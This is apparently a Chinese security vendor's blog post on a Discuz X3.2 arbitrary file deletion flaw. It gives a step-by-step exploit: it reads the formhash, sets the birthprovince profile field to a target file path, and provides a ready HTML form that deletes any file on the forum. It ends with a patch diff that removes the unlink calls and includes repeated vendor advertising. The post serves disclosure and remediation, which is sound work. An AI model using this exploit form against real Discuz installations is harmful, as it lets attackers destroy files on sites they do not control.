Discuz 3.2 漏洞—任意删文件漏洞详细利用

         

       Discuz在2017年9月29日更新了漏洞修复补丁,具体修复了DISCUZ前台的一个任意文件的
 
删除漏洞,关于这个discuz论坛文件删除漏洞方面曾在2014年里被提交到discuz官方以及wooyun

乌云官方,但此次漏洞完全是因为漏洞修复的不彻底,并可以再次利用,导致了漏洞
的发生。


 
此次Discuz漏洞的影响范围甚广,Discuz 3.4以下的版本,包含了 Discuz X3.2 Discuz X3.1

DiscuzX3.0 Discuz2.5等系列的版本漏洞。Sine安全公司是一家专注于:服务器安全
网站安全

网站安全检测、网站漏洞修复,渗透测试,安全服务于一体的网络安全服务提供
商。
 
 
Discuz漏洞的具体利用详情:
 
漏洞测试环境如下:windows2008+PHP5.2+MYSQL+ Discuz X3.2
 
我们来新建一个文本文档来作为测试:

 



 
打开论坛—再点击论坛设置-找到个人资料,右键查看页面的源代码,找到formhash这个值.



 
http://www.sinesafe.com/discuz3_2/home.php?mod=spacecp&ac=profile
 
我们查看到的formhash值是b21b6577,我们再来访问下
 
http://www.sinesafe.com/discuz3_2/home.php?mod=spacecp&ac=profile&op=base
 
 
并post提交方式,提交数据到这个地址如下图所示:

 
 
个人论坛设置里的出生地,被修改成要删除的文件。
 
最后构造表单来执行删除文件

 
<form action=”http://www.sinesafe.com/discuz3_2/home.php?
 
mod=spacecp&ac=profile&op=base” method=”POST” enctype=”multipart/form-data”>
 
<input type=”file” name=”birthprovince” id=”file” />
 
<input type=”text” name=”formhash” value=”b21b6577″/></p>
 
<input type=”text” name=”profilesubmit” value=”1″/></p>
 
<input type=”submit” value=”Submit” />
 
</from>


 
 
我们在表单里随便上传一张图片,即可删除论坛里任意的文件。Sine安全公司是一家专注于:服

务器安全、网站安全、网站安全检测、网站漏洞修复,渗透测试,安全服务于一体的网络
安全服务

提供商。
 
 
 
discuz漏洞修复方案:
 
找到:/source/include/spacecp/spacecp_profile.php
 
关于调用了unlink 相关的函数删除掉,一共有5处。
 
 
 
if($_GET['deletefile'] && is_array($_GET['deletefile'])) {
 
  foreach($_GET['deletefile'] as $key => $value) {
 
  if(isset($_G['cache']['profilesetting'][$key]) && $_G
 
['cache']['profilesetting'][$key]['formtype'] == 'file') {
 
- @unlink(getglobal
 
('setting/attachdir').'./profile/'.$space[$key]);
 
- @unlink(getglobal
 
('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
 
  $verifyarr[$key] = $setarr[$key] = '';
 
  }
 
  }
@@ -215,17 +213,14 @@ if(submitcheck('profilesubmit')) {
 
  $attach['attachment'] = dhtmlspecialchars(trim
 
($attach['attachment']));
 
  if($vid && $verifyconfig['available'] && isset
 
($verifyconfig['field'][$key])) {
 
  if(isset($verifyinfo['field'][$key])) {
 
- @unlink(getglobal
 
('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
 
  $verifyarr[$key] = $attach
 
['attachment'];
 
  }
 
  continue;
 
  }
 
  if(isset($setarr[$key]) && $_G['cache']
 
['profilesetting'][$key]['needverify']) {
 
- @unlink(getglobal
 
('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
 
  $verifyarr[$key] = $attach['attachment'];
 
  continue;
 
  }
 
- @unlink(getglobal
 
('setting/attachdir').'./profile/'.$space[$key]);
 
  $setarr[$key] = $attach['attachment'];
 
  }
 
分享: